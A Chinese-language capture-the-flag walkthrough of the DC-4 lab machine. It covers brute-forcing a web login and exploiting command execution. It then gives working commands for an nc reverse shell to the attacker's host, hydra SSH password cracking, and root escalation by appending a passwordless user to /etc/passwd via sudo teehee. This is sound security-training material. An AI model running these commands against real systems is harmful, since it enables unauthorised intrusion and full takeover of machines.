不知道为什么我的DC-3下载在虚拟机上安装报错,所以今天就做DC-4,下载地址我放在下面了,需要的朋友可以直接点击下载:
http://www.five86.com/downloads/DC-4.zip
第一步,还是利用kali里的namp进行扫描靶机的IP地址,扫描到192.168.28.140开启了80和22端口
那我们就访问80端口查看web页面,发现是一个登录框,一般这种都可以尝试暴力破解看看有没有弱口令
使用burpsuite的intruder模块进行密码的爆破,最终爆破出账户是admin,密码是happy,
登录进来后发现有一个command,是命令的意思,我们点击看看,还真可以执行命令
看看第一个命令,列出文件,没有什么特殊文件
既然有执行命令的提交,那也许会可以任意命令执行漏洞呢,我们猜测,那就抓包看看,果然有post提交
那我们就可以通过这里查看敏感文件了,比如说/etc/passwd
有charles,jim,sam,那下面那个Debian-exiam是不是呢,一看就不是,都有Debian这么熟悉的前缀了,而且这看起来也不像人名吧
找到用户了,那我们下一步按道理来说是应该破解密码然后远程连接了,但是这里是在外部,也不知道具体的系统是什么,所以密码的加密方法我们也不知道,这次我学到了一个新东西,用nc进行反弹shell,我们在命令输入nc -e /bin/bash/ 192.168.28.128 2333,192.168.28.128是我kali的IP
接下来我们就可以去kali连接靶机的shell了
成功的前提是你必须要成功开启了2333端口才能监听成功,否则就不会反弹成功,要开启2333端口需要以下步骤
1,ufw allow 2333(开启2333端口)
2,ufw status(确认2333端口是否开启)
然后我们再使用python进入交互式界面 python3 -c "import pty;pty.spawn('/bin/bash')"
接下来就可以愉快的进行寻找有没有flag啦,不愉快的是,没有flag
那我们只有收集一下信息了,来到home目录,发现有三个目录,分别对应三个用户,charles里面没有东西,jim里面有东西,有test.sh
为什么要注意test.sh呢,因为.sh后缀的一般是shell脚本文件,但是并没有什么用啊
那我们还是看看剩下两个文件写了什么吧,backups是一个目录,看名字应该是一个装备份文件的目录,为什么我知道是目录呢,因为kali告诉我的
在里面发现了一个old-passwords.bak,这东西名字一看就有用啊,打开看看,,果然有密码
那这不正好用来试试可不可以爆破账户密码啊,复制下来,放到文件中去,然后使用我们上个靶机提到过的hydra来爆破账户和密码,使用命令:hydra -l jim -P passwd1.txt ssh://192.168.28.140,爆破出来密码是:jibril04
记得使用root用户来执行命令,不然是执行不成功的,别问我为什么知道
然后我们远程登录:ssh jim@192.168.28.140,这个要切回普通用户进行登录,不然执行不成功,别问我为什么知道,问就是血的教训
不是,我没看题解我真没注意到这里有个提示说,you have a mail
我还在那寻思这里面文件有啥特殊的吗,那我们就来看看这里面的mail文件,这样看来,貌似是charles给jim写的文件,里面还有charles的密码
这里还有个坑,信件上的charles是大写的C,但是要用小写的c登录才行,charles,进去之后里面没东西
看了题解才知道要使用sudo -l,这个命令是用来干啥的呢,可以查看哪些命令执行的时候是root权限,便于我们进行提权
这个意思就是charles可以不使用密码就能执行teehee这个命令,那么我们就用这个命令来进行提权,你这需要输入这一串神奇的代码:echo "axb::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
然后再输入su axb,就可以提权到root用户
然后再找到flag.txt就算找到本靶机的全部flag了
知识点总结:
1,bp暴力破解弱口令
2,命令执行漏洞执行反弹shell
3,hydra爆破账户密码
4,teehee提权